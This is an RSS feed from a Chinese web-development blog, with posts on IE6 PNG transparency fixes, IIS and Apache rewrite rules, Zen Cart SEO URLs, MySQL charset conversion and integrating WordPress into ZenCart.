<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>柠檬工作室 &#187; Html</title>
	<atom:link href="http://www.crazylemon.net/tag/html/feed" rel="self" type="application/rss+xml" />
	<link>http://www.crazylemon.net</link>
	<description>上帝无用，天使无用</description>
	<lastBuildDate>Thu, 17 Nov 2011 19:39:10 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>如何让PNG格式的透明图片在IE6下正常显示</title>
		<link>http://www.crazylemon.net/css/3705.html</link>
		<comments>http://www.crazylemon.net/css/3705.html#comments</comments>
		<pubDate>Sun, 31 Oct 2010 10:53:24 +0000</pubDate>
		<dc:creator>CrazyLemon</dc:creator>
				<category><![CDATA[DIV+CSS]]></category>
		<category><![CDATA[DIV]]></category>
		<category><![CDATA[get]]></category>
		<category><![CDATA[Html]]></category>
		<category><![CDATA[ip]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[microsoft]]></category>

		<guid isPermaLink="false">http://www.crazylemon.net/?p=3705</guid>
		<description><![CDATA[接了个业务，帮网友做几个页面，关于彩票的，很奇怪的要求，要在IE6下正常显示 其中有个别图片要求透明，在从PSD提取时遇到问题，就是本来透明的图层，一保存为PNG，就半透明了，变灰了一点 原因是图层混合选项里，斜面和浮雕的阴影模式不透明度不是0%，在保存时，本来透明的也就灰了 以IMG标签显示时，在IE8以上正常显示，即透明，在IE6下本来透明的，变成白底了。参考网上的的解决办法： 首先，为你的图片外套一个DIV层，像这样: &#60;body&#62; &#60;div class=”flower”&#62;&#60;/div&#62; &#60;/body&#62; 然后，在&#60;head&#62;和&#60;/head&#62;之间写入: &#60;!–[if gte IE 5]&#62; &#60;style type=”text/css”&#62; div.flower { background:none; filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src=’flower.png’ ,sizingMethod=’crop’); } &#60;/style&#62; &#60;![endif]–&#62;  这样就OK了，要测试在IE6下是否正常显示，可以下载一个工具，IETester，具体的自己上网搜下 还有另一个方法，如下： &#60;img src=”images/menu-12.png” onload=”fixPNG(this)”/&#62; &#60;script language=”javascript”&#62; // 修复 IE 下 PNG 图片不能透明显示的问题 function fixPNG(myImage) { var arVersion = navigator.appVersion.split(“MSIE”); var version = parseFloat(arVersion[1]); if ((version &#62;= 5.5) &#38;&#38; (version &#60; [...]]]></description>
			<content:encoded><![CDATA[<p>接了个业务，帮网友做几个页面，关于彩票的，很奇怪的要求，要在IE6下正常显示</p>
<p>其中有个别图片要求透明，在从PSD提取时遇到问题，就是本来透明的图层，一保存为PNG，就半透明了，变灰了一点</p>
<p>原因是图层混合选项里，斜面和浮雕的阴影模式不透明度不是0%，在保存时，本来透明的也就灰了</p>
<p>以IMG标签显示时，在IE8以上正常显示，即透明，在IE6下本来透明的，变成白底了。参考网上的的解决办法：</p>
<p>首先，为你的图片外套一个DIV层，像这样:</p>
<p>&lt;body&gt; &lt;div class=”flower”&gt;&lt;/div&gt; &lt;/body&gt;</p>
<p>然后，在&lt;head&gt;和&lt;/head&gt;之间写入:</p>
<p>&lt;!–[if gte IE 5]&gt;</p>
<p>&lt;style type=”text/css”&gt;</p>
<p>div.flower {</p>
<p>background:none;</p>
<p>filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src=’flower.png’ ,sizingMethod=’crop’);</p>
<p>}</p>
<p>&lt;/style&gt;</p>
<p>&lt;![endif]–&gt;</p>
<p> 这样就OK了，要测试在IE6下是否正常显示，可以下载一个工具，IETester，具体的自己上网搜下</p>
<p>还有另一个方法，如下：</p>
<p>&lt;img src=”images/menu-12.png” onload=”fixPNG(this)”/&gt;</p>
<p>&lt;script language=”javascript”&gt;<br />
// 修复 IE 下 PNG 图片不能透明显示的问题<br />
function fixPNG(myImage) {<br />
var arVersion = navigator.appVersion.split(“MSIE”);<br />
var version = parseFloat(arVersion[1]);<br />
if ((version &gt;= 5.5) &amp;&amp; (version &lt; 7) &amp;&amp; (document.body.filters))<br />
{<br />
    var imgID = (myImage.id) ? “id=&#8217;” + myImage.id + “&#8216; ” : “”;<br />
    var imgClass = (myImage.className) ? “class=&#8217;” + myImage.className + “&#8216; ” : “”;<br />
    var imgTitle = (myImage.title) ? “title=&#8217;” + myImage.title  + “&#8216; ” : “title=&#8217;” + myImage.alt + “&#8216; “;<br />
    var imgStyle = “display:inline-block;” + myImage.style.cssText;<br />
    var strNewHTML = “&lt;span ” + imgID + imgClass + imgTitle</p>
<p>   + ” style=\”" + “width:” + myImage.width</p>
<p>   + “px; height:” + myImage.height</p>
<p>   + “px;” + imgStyle + “;”</p>
<p>   + “filter:progid:DXImageTransform.Microsoft.AlphaImageLoader”</p>
<p>   + “(src=\&#8217;” + myImage.src + “\&#8217;, sizingMethod=&#8217;scale&#8217;);\”&gt;&lt;/span&gt;”;<br />
    myImage.outerHTML = strNewHTML;<br />
} }</p>
<p>&lt;/script&gt;</p>
<h3  class="related_post_title">相关日志</h3><ul class="related_post"><li>12/01/2009 -- <a href="http://www.crazylemon.net/html/2612.html" title="Meta标签说明">Meta标签说明</a> (5)</li><li>06/26/2009 -- <a href="http://www.crazylemon.net/work/834.html" title="13个测试网站访问速度的服务网站">13个测试网站访问速度的服务网站</a> (1)</li><li>05/31/2009 -- <a href="http://www.crazylemon.net/seo/335.html" title="SEO插件 &#8211; 20个最好的Wordpress SEO 插件">SEO插件 &#8211; 20个最好的Wordpress SEO 插件</a> (3)</li><li>06/24/2010 -- <a href="http://www.crazylemon.net/html/3225.html" title="firefox不支持的一个javascript">firefox不支持的一个javascript</a> (1)</li><li>04/23/2010 -- <a href="http://www.crazylemon.net/apache/3111.html" title="Cpanel开启gzip优化功能">Cpanel开启gzip优化功能</a> (0)</li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.crazylemon.net/css/3705.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>IIS rewrite 规则设置</title>
		<link>http://www.crazylemon.net/iis-server/3682.html</link>
		<comments>http://www.crazylemon.net/iis-server/3682.html#comments</comments>
		<pubDate>Mon, 25 Oct 2010 09:24:41 +0000</pubDate>
		<dc:creator>CrazyLemon</dc:creator>
				<category><![CDATA[IIS主机]]></category>
		<category><![CDATA[Apache]]></category>
		<category><![CDATA[API]]></category>
		<category><![CDATA[Domain]]></category>
		<category><![CDATA[htaccess]]></category>
		<category><![CDATA[Html]]></category>
		<category><![CDATA[iis]]></category>
		<category><![CDATA[rewrite]]></category>
		<category><![CDATA[外贸]]></category>

		<guid isPermaLink="false">http://www.crazylemon.net/?p=3682</guid>
		<description><![CDATA[IIS rewrite方法相对apache方便的.htaccess文件来说，麻烦得多 首先，我们得下载 ISAPI Rewrite 3，ISAPI Rewrite 3 分为商业版和免费的 Lite 版，商业版可以在每个站点放置一个 httpd.ini 来单独设置规则，免费版只能将规则写到安装目录下的 httpd.conf 文件中，作用于全局。 将下载的 IIS Rewrite 组件解压，放到适当的目录（如 C:Rewrite）下。 在“IIS管理器”里选择网站，右键，属性。 选择“ISAPI”，点击“添加”。 填入筛选器名称，如“rewrite”。 可执行文件下方点击“浏览”，选择刚才解压的Rewrite组件位置，Rewrite.dll。 确认选择正确后，点击“确定”。点击“确定”，完成筛选器添加。 重启IIS。 重启IIS后，再次选择站点，右键，属性，看到如下所示向上的绿箭头，说明 IIS Rewrite 成功添加并运行。 记得添加完筛选器一定要重启IIS，否则无法生效。  ISAPI Rewrite免费版只能将规则写到ISAPI Rewrite安装目录下的 httpd.conf 文件中，一些规则写法摘抄如下： 1、将“domain.com”301重定向到“www.domain.com” RewriteEngine on RewriteCond %{HTTPS} (on)? RewriteCond %{HTTP:Host} ^(?!www.)(.+)$ [NC] RewriteCond %{REQUEST_URI} (.+) RewriteRule .? http(?%1s)://www.%2%3 [R=301,L] 2、301重定向到另一个域名 RewriteCond %{HTTP:Host} [...]]]></description>
			<content:encoded><![CDATA[<p>IIS rewrite方法相对apache方便的.htaccess文件来说，麻烦得多</p>
<p>首先，我们得下载 ISAPI Rewrite 3，ISAPI Rewrite 3 分为商业版和免费的 Lite 版，商业版可以在每个站点放置一个 httpd.ini 来单独设置规则，免费版只能将规则写到安装目录下的 httpd.conf 文件中，作用于全局。</p>
<p>将下载的 IIS Rewrite 组件解压，放到适当的目录（如 C:Rewrite）下。</p>
<p>在“IIS管理器”里选择网站，右键，属性。</p>
<p>选择“ISAPI”，点击“添加”。</p>
<p>填入筛选器名称，如“rewrite”。</p>
<p>可执行文件下方点击“浏览”，选择刚才解压的Rewrite组件位置，Rewrite.dll。</p>
<p>确认选择正确后，点击“确定”。点击“确定”，完成筛选器添加。</p>
<p>重启IIS。</p>
<p>重启IIS后，再次选择站点，右键，属性，看到如下所示向上的绿箭头，说明 IIS Rewrite 成功添加并运行。</p>
<p>记得添加完筛选器一定要重启IIS，否则无法生效。</p>
<p> ISAPI Rewrite免费版只能将规则写到ISAPI Rewrite安装目录下的 httpd.conf 文件中，一些规则写法摘抄如下：</p>
<p>1、将“domain.com”301重定向到“www.domain.com”</p>
<p>RewriteEngine on<br />
RewriteCond %{HTTPS} (on)?<br />
RewriteCond %{HTTP:Host} ^(?!www.)(.+)$ [NC]<br />
RewriteCond %{REQUEST_URI} (.+)<br />
RewriteRule .? http(?%1s)://www.%2%3 [R=301,L]</p>
<p>2、301重定向到另一个域名</p>
<p>RewriteCond %{HTTP:Host} ^www.domain.com$<br />
RewriteRule (.*) http://www.domain.com$1 [NC,R=301]</p>
<p>3、301重定向单个页面</p>
<p>RewriteRule ^/oldpage.htm$ http://www.domain.com/newpage.html [R=301,L]</p>
<p>4、针对某些ASP外贸网站，将地址重写成多带有一个问号的</p>
<p>RewriteRule /(.*)/(.*)\.html /$1/?$2\.html</p>
<h3  class="related_post_title">相关日志</h3><ul class="related_post"><li>11/07/2009 -- <a href="http://www.crazylemon.net/apache/2400.html" title="Apache mod_rewrite模块中RewriteCond和RewriteRule的指令格式">Apache mod_rewrite模块中RewriteCond和RewriteRule的指令格式</a> (6)</li><li>09/30/2010 -- <a href="http://www.crazylemon.net/windows/3561.html" title="Zen Cart整合WordPress之Wordpress on ZenCart安装">Zen Cart整合WordPress之Wordpress on ZenCart安装</a> (0)</li><li>01/20/2010 -- <a href="http://www.crazylemon.net/apache/2816.html" title="使用.htaccess将网站首页301重定向到子页面">使用.htaccess将网站首页301重定向到子页面</a> (1)</li><li>07/08/2009 -- <a href="http://www.crazylemon.net/wordpress/1050.html" title="分析WordPress的Rewrite机制">分析WordPress的Rewrite机制</a> (0)</li><li>06/06/2009 -- <a href="http://www.crazylemon.net/nginx/504.html" title="Nginx的WordPress配置">Nginx的WordPress配置</a> (0)</li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.crazylemon.net/iis-server/3682.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>zen cart SEO urls转换特殊字符</title>
		<link>http://www.crazylemon.net/zencart/3623.html</link>
		<comments>http://www.crazylemon.net/zencart/3623.html#comments</comments>
		<pubDate>Tue, 19 Oct 2010 05:10:50 +0000</pubDate>
		<dc:creator>CrazyLemon</dc:creator>
				<category><![CDATA[ZenCart]]></category>
		<category><![CDATA[Domain]]></category>
		<category><![CDATA[Html]]></category>
		<category><![CDATA[SEO]]></category>

		<guid isPermaLink="false">http://www.crazylemon.net/?p=3623</guid>
		<description><![CDATA[zen cart中如果使用了seo urls，并且语言为亚洲语系，将无法识别产品目录及产品名称上的非英文字符 即如果产品目录名或产品名中的非英文字符会被自动去掉，如果名称中没包括英文字符，那么生成的链接将会是 http://www.yourdomain.com/-c-123.html或http://www.yourdomain.com/-p-123.html 解决方法，到后台SEO URLs设置里，有个Enter special character conversions功能，里面可以转换特殊字符为英文字符 写法如：バーバリ=&#62;burberry,を入力してください=&#62;burberry 这样，在生成静态地址时，可以自动转换这些特殊字符到你想要的英文关键字，而不是什么都没有 相关日志11/03/2010 -- 相对链接和绝对链接的比较（老外） (0)10/25/2010 -- IIS rewrite 规则设置 (0)09/30/2010 -- Zen Cart整合WordPress之Wordpress on ZenCart安装 (0)09/09/2010 -- 网站子目录地址后要不要斜杠 (3)08/06/2010 -- 上一篇关于Ecpss跳转的文章成功了 (0)]]></description>
			<content:encoded><![CDATA[<p>zen cart中如果使用了seo urls，并且语言为亚洲语系，将无法识别产品目录及产品名称上的非英文字符</p>
<p>即如果产品目录名或产品名中的非英文字符会被自动去掉，如果名称中没包括英文字符，那么生成的链接将会是</p>
<p><a href="http://www.yourdomain.com/-c-123.html">http://www.yourdomain.com/-c-123.html</a>或<a href="http://www.yourdomain.com/-c-123.html">http://www.yourdomain.com/-p-123.html</a></p>
<p>解决方法，到后台SEO URLs设置里，有个Enter special character conversions功能，里面可以转换特殊字符为英文字符</p>
<p>写法如：バーバリ=&gt;burberry,を入力してください=&gt;burberry</p>
<p>这样，在生成静态地址时，可以自动转换这些特殊字符到你想要的英文关键字，而不是什么都没有</p>
<h3  class="related_post_title">相关日志</h3><ul class="related_post"><li>11/03/2010 -- <a href="http://www.crazylemon.net/seo/3712.html" title="相对链接和绝对链接的比较（老外）">相对链接和绝对链接的比较（老外）</a> (0)</li><li>10/25/2010 -- <a href="http://www.crazylemon.net/iis-server/3682.html" title="IIS rewrite 规则设置">IIS rewrite 规则设置</a> (0)</li><li>09/30/2010 -- <a href="http://www.crazylemon.net/windows/3561.html" title="Zen Cart整合WordPress之Wordpress on ZenCart安装">Zen Cart整合WordPress之Wordpress on ZenCart安装</a> (0)</li><li>09/09/2010 -- <a href="http://www.crazylemon.net/seo/3483.html" title="网站子目录地址后要不要斜杠">网站子目录地址后要不要斜杠</a> (3)</li><li>08/06/2010 -- <a href="http://www.crazylemon.net/seo/3360.html" title="上一篇关于Ecpss跳转的文章成功了">上一篇关于Ecpss跳转的文章成功了</a> (0)</li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.crazylemon.net/zencart/3623.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>MySQL数据库编码问题之数据转换</title>
		<link>http://www.crazylemon.net/mysql/3609.html</link>
		<comments>http://www.crazylemon.net/mysql/3609.html#comments</comments>
		<pubDate>Fri, 15 Oct 2010 12:00:17 +0000</pubDate>
		<dc:creator>CrazyLemon</dc:creator>
				<category><![CDATA[MySQL]]></category>
		<category><![CDATA[API]]></category>
		<category><![CDATA[Charset]]></category>
		<category><![CDATA[DNS]]></category>
		<category><![CDATA[DNSPod]]></category>
		<category><![CDATA[Html]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[升级]]></category>

		<guid isPermaLink="false">http://www.crazylemon.net/?p=3609</guid>
		<description><![CDATA[又遇MySQL编码问题，起因是今天早些所说的DNSPOD API升级，因为DNSPod API要求以utf-8编码进行提交，所以索性将我的网站管理系统源码全转换为utf-8，html charset也设置为utf-8，结果MySQL数据库里的中文在查询输出后全乱码了。 起初系统用的是GB2312编码，中文记录是以GB2312编码格式添加的，所以用utf8连接数据库时，看到的是乱码，但输出在网页里时，由于页面编码也是GB2312，所以显示正常。现在网页编码用utf8了，所以看到的是乱码。 解决方法： 使用GB2312字符集连接数据库，这时可以看到中文字段显示是正常的，将需要转换的表导出sql文件，然后断开数据库用utf8字符集重连，再导入刚才导出的sql文件进行替换，导放时编码格式一定要先择GB2312。 由于数据库中默认字符集是utf8，整理是utf8_general_ci，所以在PHP中连接数据库时要加上下面一段，设置好字符属性，否则可能还是乱码。 mysql_query(“set names &#8216;utf8&#8242; collate &#8216;utf8_general_ci&#8217;”, $con); 相关日志10/15/2010 -- DNSPOD API升级 (5)06/06/2009 -- nginx详解 (0)09/01/2010 -- mysql 注入方法（转自Security Angel） (1)06/10/2009 -- 国内八家域名注册商优缺点比较 (6)05/29/2009 -- 一个整理的dnspod接口类 (1)]]></description>
			<content:encoded><![CDATA[<p>又遇MySQL编码问题，起因是今天早些所说的<a title="猛击查看 DNSPOD API升级 的详细内容" rel="bookmark" href="http://www.crazylemon.net/php/3603.html">DNSPOD API升级</a>，因为DNSPod API要求以utf-8编码进行提交，所以索性将我的网站管理系统源码全转换为utf-8，html charset也设置为utf-8，结果MySQL数据库里的中文在查询输出后全乱码了。</p>
<p>起初系统用的是GB2312编码，中文记录是以GB2312编码格式添加的，所以用utf8连接数据库时，看到的是乱码，但输出在网页里时，由于页面编码也是GB2312，所以显示正常。现在网页编码用utf8了，所以看到的是乱码。</p>
<p>解决方法：</p>
<p>使用GB2312字符集连接数据库，这时可以看到中文字段显示是正常的，将需要转换的表导出sql文件，然后断开数据库用utf8字符集重连，再导入刚才导出的sql文件进行替换，导放时编码格式一定要先择GB2312。</p>
<p>由于数据库中默认字符集是utf8，整理是utf8_general_ci，所以在PHP中连接数据库时要加上下面一段，设置好字符属性，否则可能还是乱码。</p>
<p>mysql_query(“set names &#8216;utf8&#8242; collate &#8216;utf8_general_ci&#8217;”, $con);</p>
<h3  class="related_post_title">相关日志</h3><ul class="related_post"><li>10/15/2010 -- <a href="http://www.crazylemon.net/php/3603.html" title="DNSPOD API升级">DNSPOD API升级</a> (5)</li><li>06/06/2009 -- <a href="http://www.crazylemon.net/nginx/510.html" title="nginx详解">nginx详解</a> (0)</li><li>09/01/2010 -- <a href="http://www.crazylemon.net/mysql/3455.html" title="mysql 注入方法（转自Security Angel）">mysql 注入方法（转自Security Angel）</a> (1)</li><li>06/10/2009 -- <a href="http://www.crazylemon.net/work/591.html" title="国内八家域名注册商优缺点比较 ">国内八家域名注册商优缺点比较 </a> (6)</li><li>05/29/2009 -- <a href="http://www.crazylemon.net/php/220.html" title="一个整理的dnspod接口类">一个整理的dnspod接口类</a> (1)</li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.crazylemon.net/mysql/3609.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Godaddy IIS7 ReWrite 规则的编写</title>
		<link>http://www.crazylemon.net/windows/3581.html</link>
		<comments>http://www.crazylemon.net/windows/3581.html#comments</comments>
		<pubDate>Thu, 07 Oct 2010 07:53:17 +0000</pubDate>
		<dc:creator>CrazyLemon</dc:creator>
				<category><![CDATA[Windows]]></category>
		<category><![CDATA[虚拟主机]]></category>
		<category><![CDATA[error]]></category>
		<category><![CDATA[Html]]></category>
		<category><![CDATA[iis]]></category>
		<category><![CDATA[ip]]></category>
		<category><![CDATA[rewrite]]></category>
		<category><![CDATA[server]]></category>
		<category><![CDATA[正则表达式]]></category>

		<guid isPermaLink="false">http://www.crazylemon.net/?p=3581</guid>
		<description><![CDATA[在IIS6下需要安装第三方组件才能实现 Rewrite，而IIS7自带了这个组件。 rewrite规则说白了难点就是正则表达式，只要搞清楚了这个，编写就比较容易了。 看下面这个匹配字符串“^test/([0-9]+)/([_0-9a-z-]+)”，这个就是个正则表达式它的含义如下： 1、开始于“test/”字符序列。 2、在“/”后包含一个或多个数字字符。 3、在第二个“/”后包含一个或多个字母或“_”或“-”。 在IIS7中，可以通过修改web.config文件来编写rewrite规则，特别要注意到是规则的名称应该是唯一的，下面是个例子（在Godaddy主机上调试通过）： &#60;?xml version=”1.0&#8243; encoding=”UTF-8&#8243;?&#62; &#60;configuration&#62;     &#60;system.webServer&#62;         &#60;rewrite&#62;             &#60;rules&#62;                 &#60;rule name=”Rewrite to test”&#62;                     &#60;match url=”^new.htm$” /&#62;                     &#60;action type=”Rewrite” url=”test.asp” /&#62;         [...]]]></description>
			<content:encoded><![CDATA[<p>在IIS6下需要安装第三方组件才能实现 Rewrite，而IIS7自带了这个组件。<br />
rewrite规则说白了难点就是正则表达式，只要搞清楚了这个，编写就比较容易了。</p>
<p>看下面这个匹配字符串“^test/([0-9]+)/([_0-9a-z-]+)”，这个就是个正则表达式它的含义如下：</p>
<p>1、开始于“test/”字符序列。<br />
2、在“/”后包含一个或多个数字字符。<br />
3、在第二个“/”后包含一个或多个字母或“_”或“-”。</p>
<p>在IIS7中，可以通过修改web.config文件来编写rewrite规则，特别要注意到是规则的名称应该是唯一的，下面是个例子（在Godaddy主机上调试通过）：</p>
<p>&lt;?xml version=”1.0&#8243; encoding=”UTF-8&#8243;?&gt;<br />
&lt;configuration&gt;<br />
    &lt;system.webServer&gt;<br />
        &lt;rewrite&gt;<br />
            &lt;rules&gt;<br />
                &lt;rule name=”Rewrite to test”&gt;<br />
                    &lt;match url=”^new.htm$” /&gt;<br />
                    &lt;action type=”Rewrite” url=”test.asp” /&gt;<br />
                &lt;/rule&gt;<br />
                &lt;rule name=”Rewrite to test.asp”&gt;<br />
                    &lt;match url=”^test/([0-9]+).html$” /&gt;<br />
                    &lt;action type=”Rewrite” url=”/rewritetest.asp\?id={R:1}” /&gt;<br />
                &lt;/rule&gt;<br />
            &lt;/rules&gt;<br />
        &lt;/rewrite&gt;<br />
  &lt;httpErrors errorMode=”Detailed” /&gt;<br />
  &lt;asp scriptErrorSentToBrowser=”true” /&gt;<br />
  &lt;/system.webServer&gt;<br />
&lt;system.web&gt;<br />
&lt;customErrors mode=”Off” /&gt;<br />
&lt;globalization requestEncoding=”utf-8&#8243; responseEncoding=”utf-8&#8243; fileEncoding=”utf-8&#8243; /&gt;<br />
&lt;/system.web&gt;<br />
&lt;/configuration&gt;</p>
<h3  class="related_post_title">相关日志</h3><ul class="related_post"><li>06/06/2009 -- <a href="http://www.crazylemon.net/nginx/510.html" title="nginx详解">nginx详解</a> (0)</li><li>05/30/2009 -- <a href="http://www.crazylemon.net/windows/250.html" title="IIS 错误代码大汇总">IIS 错误代码大汇总</a> (0)</li><li>07/29/2010 -- <a href="http://www.crazylemon.net/web/3300.html" title="cPanel License 过期的另一种可能">cPanel License 过期的另一种可能</a> (1)</li><li>04/10/2010 -- <a href="http://www.crazylemon.net/php/3068.html" title="GOOGLE翻墙代码">GOOGLE翻墙代码</a> (0)</li><li>11/07/2009 -- <a href="http://www.crazylemon.net/apache/2400.html" title="Apache mod_rewrite模块中RewriteCond和RewriteRule的指令格式">Apache mod_rewrite模块中RewriteCond和RewriteRule的指令格式</a> (6)</li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.crazylemon.net/windows/3581.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Zen Cart整合WordPress之WordPress on ZenCart安装</title>
		<link>http://www.crazylemon.net/windows/3561.html</link>
		<comments>http://www.crazylemon.net/windows/3561.html#comments</comments>
		<pubDate>Thu, 30 Sep 2010 14:07:10 +0000</pubDate>
		<dc:creator>CrazyLemon</dc:creator>
				<category><![CDATA[Windows]]></category>
		<category><![CDATA[ZenCart]]></category>
		<category><![CDATA[Blog]]></category>
		<category><![CDATA[Domain]]></category>
		<category><![CDATA[htaccess]]></category>
		<category><![CDATA[Html]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[rewrite]]></category>
		<category><![CDATA[root]]></category>
		<category><![CDATA[word]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://www.crazylemon.net/?p=3561</guid>
		<description><![CDATA[第一步，安装Wordpress 把Wordpress解压到你的ZenCart目录下，然后把Wordpress的文件夹名改，比如wp，然后按正常步骤安装wordpress，这一步的安装和普通的Wordpress安装没啥区别。 第二步：设置Wordpress 在Wordpress的后台设置一下，setting -&#62; General -&#62; WordPress address (URL)，这个保持原样，即安装的wordpress真实地址，如http://www.yourdomain.com/wp。 把Site address (URL)改为Zen Cart整合wordpress页面要调用的地址，如http://www.yourdomain.com/blog，如果这个地址和真实的wordpress地址一样的话，访问时就直接跑到博客上了，无法实现整合；把主题设为WOZ默认主题。 第三步：上传WOZ的文件 建议用ftp直接覆盖： 把WOZ解压后的ZC_ROOT目录下的文件上传到服务器Zen-cart的安装目录下。 把WOZ解压后的WP_ROOT目录下的文件上传到服务器WordPress的安装目录下。 第四步：Zen Cart后台设置 按照Wordpress on ZenCart模块的安装说明，打开Zen Cart后台Admin &#62; tools &#62; WOZ Manager，设置好wordpress的绝对路径，如/home/yourname/public_html/wp/ 记住，这个路径得是你服务器上的绝对路径。 第五步：布局设置 在Zen Cart后台管理面板的admin panel › tools › Layout Boxes Controller里，选择打开你需要的Wordpress侧栏框。所有和Wordpress有关的侧栏框都是以WP_XXX格式存在的。 第六步：地址重写设置 wordpress可以按照你喜欢的伪静态方式进行重写，wordpress根目录下的.htaccess内容如下： # BEGIN WordPress &#60;IfModule mod_rewrite.c&#62; RewriteEngine On RewriteBase /wp/ RewriteRule ^index\.php$ &#8211; [L] [...]]]></description>
			<content:encoded><![CDATA[<p><strong>第一步，安装Wordpress</strong></p>
<p>把Wordpress解压到你的ZenCart目录下，然后把Wordpress的文件夹名改，比如wp，然后按正常步骤安装wordpress，这一步的安装和普通的Wordpress安装没啥区别。</p>
<p><strong>第二步：设置Wordpress</strong></p>
<p>在Wordpress的后台设置一下，setting -&gt; General -&gt; <label for="siteurl">WordPress address (URL)，这个保持原样，即安装的wordpress真实地址，如http://www.yourdomain.com/wp。</label></p>
<p><strong><label for="siteurl"></label></strong>把<label for="home">Site address (URL)</label>改为Zen Cart整合wordpress页面要调用的地址，如http://www.yourdomain.com/blog，如果这个地址和真实的wordpress地址一样的话，访问时就直接跑到博客上了，无法实现整合；把主题设为WOZ默认主题。</p>
<p><strong>第三步：上传WOZ的文件</strong></p>
<p>建议用ftp直接覆盖：</p>
<p>把WOZ解压后的<strong>ZC_ROOT</strong>目录下的文件上传到服务器Zen-cart的安装目录下。<br />
把WOZ解压后的<strong>WP_ROOT</strong>目录下的文件上传到服务器WordPress的安装目录下。</p>
<p><strong>第四步：Zen Cart后台设置</strong></p>
<p>按照Wordpress on ZenCart模块的安装说明，打开Zen Cart后台Admin &gt; tools &gt; WOZ Manager，设置好wordpress的绝对路径，如/home/yourname/public_html/wp/</p>
<p>记住，<strong>这个路径得是你服务器上的绝对路径</strong>。</p>
<p><strong>第五步：布局设置</strong></p>
<p>在Zen Cart后台管理面板的<strong>admin panel › tools › Layout Boxes Controller</strong>里，选择打开你需要的Wordpress侧栏框。所有和Wordpress有关的侧栏框都是以WP_XXX格式存在的。</p>
<p>第六步：地址重写设置</p>
<p>wordpress可以按照你喜欢的伪静态方式进行重写，wordpress根目录下的.htaccess内容如下：</p>
<p># BEGIN WordPress<br />
&lt;IfModule mod_rewrite.c&gt;<br />
RewriteEngine On<br />
RewriteBase /wp/<br />
RewriteRule ^index\.php$ &#8211; [L]<br />
RewriteCond %{REQUEST_FILENAME} !-f<br />
RewriteCond %{REQUEST_FILENAME} !-d<br />
RewriteRule . /wp/index.php [L]<br />
&lt;/IfModule&gt;<br />
# END WordPress</p>
<p>Zen Cart的.htaccess重写规则需加入如下内容：</p>
<p># BEGIN WordPress<br />
RewriteRule ^blog/?$ index\.php?main_page=wordpress&amp;%{QUERY_STRING} [L]<br />
RewriteCond %{REQUEST_FILENAME} !-f<br />
RewriteCond %{REQUEST_FILENAME} !-d<br />
RewriteRule . index\.php?main_page=wordpress [L]<br />
# END WordPress‘</p>
<p>即重写/blog/子目录到整合wordpress的请求页面index.php?main_page=wordpress</p>
<p><strong>第七步：检查</strong><strong><br />
</strong>现在你可以通过</p>
<p><strong>http://www.yourdomain.com/index.php?main_page=wordpress</strong></p>
<p><strong>或</strong></p>
<p><strong>http://www.yourdomain.com/blog</strong></p>
<p>这个网址来访问你的Wordpress了。<br />
如果你能在Zen Cart中栏看到Wordpress，则表明你已经把Wordpress集成到了ZenCart里了。</p>
<p>作者和网上的教程有点误区。。。搞了我半天</p>
<h3  class="related_post_title">相关日志</h3><ul class="related_post"><li>06/06/2009 -- <a href="http://www.crazylemon.net/nginx/504.html" title="Nginx的WordPress配置">Nginx的WordPress配置</a> (0)</li><li>07/08/2009 -- <a href="http://www.crazylemon.net/wordpress/1050.html" title="分析WordPress的Rewrite机制">分析WordPress的Rewrite机制</a> (0)</li><li>09/10/2009 -- <a href="http://www.crazylemon.net/apache/1796.html" title="Apache服务器wordpress设置永久连接后怎么去掉INDEX.PHP">Apache服务器wordpress设置永久连接后怎么去掉INDEX.PHP</a> (1)</li><li>07/18/2009 -- <a href="http://www.crazylemon.net/web/1239.html" title=".htaccess使用指南">.htaccess使用指南</a> (0)</li><li>06/06/2009 -- <a href="http://www.crazylemon.net/nginx/510.html" title="nginx详解">nginx详解</a> (0)</li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.crazylemon.net/windows/3561.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>meta 里绕过IE不同版本兼容性问题</title>
		<link>http://www.crazylemon.net/html/3555.html</link>
		<comments>http://www.crazylemon.net/html/3555.html#comments</comments>
		<pubDate>Tue, 28 Sep 2010 10:59:37 +0000</pubDate>
		<dc:creator>CrazyLemon</dc:creator>
				<category><![CDATA[Html]]></category>

		<guid isPermaLink="false">http://www.crazylemon.net/?p=3555</guid>
